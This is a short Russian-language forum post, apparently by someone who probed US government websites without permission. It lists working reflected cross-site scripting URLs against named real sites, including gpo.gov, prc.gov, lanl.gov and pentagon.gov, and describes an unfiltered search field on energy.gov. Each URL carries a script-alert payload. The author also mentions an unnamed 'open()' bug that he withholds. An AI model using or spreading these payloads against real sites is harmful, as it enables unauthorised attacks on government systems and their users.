Начал проверять гос. сайты на баги и так сказать, получился неплохой урожай ;-). Куча xss-багов и попался даже древний баг в open(). (Но о нём говорить не буду, т.к. сайт быстро снесут).
От xss конешн, сам понимаю толку никакого. Но всё равно впечатляет.
Начнём с малого:
http://search.access.gpo.gov/GPO/Sea...3C%2Fscript%3E
http://www.prc.gov/interrogatories.asp?irid=38516&irname=%3Cscript%3E alert(%22x%22)%3C/script%3E
http://www.stdgen.lanl.gov/cgi-bin/path_map.cgi?field=gene_id&term=MG142&mode=exact&d bname=%3Cscript%3Ealert(%22x%22)%3C/script%3E

На сайте http://www.energy.gov, поле SEARCH не фильтруется. Вводим туда простейшую конструкцию <script>alert("x")</script>, в результате выскакивает алерт.

И на сайте "немного" покрупнее....На сайте Пентагона.
http://www.pentagon.gov/srch/search?template=%2Fsearch%2Fresults-template-dl.html&c=%3Cscript%3Ealert(%22x%22)%3C/script%3E&c=8268333F54379065&c=6FDF5BD0BF338D19&c= 1DA2190B5E9F39D2&q=%3Cscript%3Ealert%28%22x%22%29% 3C%2Fscript%3E&submit=Search&subcat=briefing+slide s&sort=-pub_date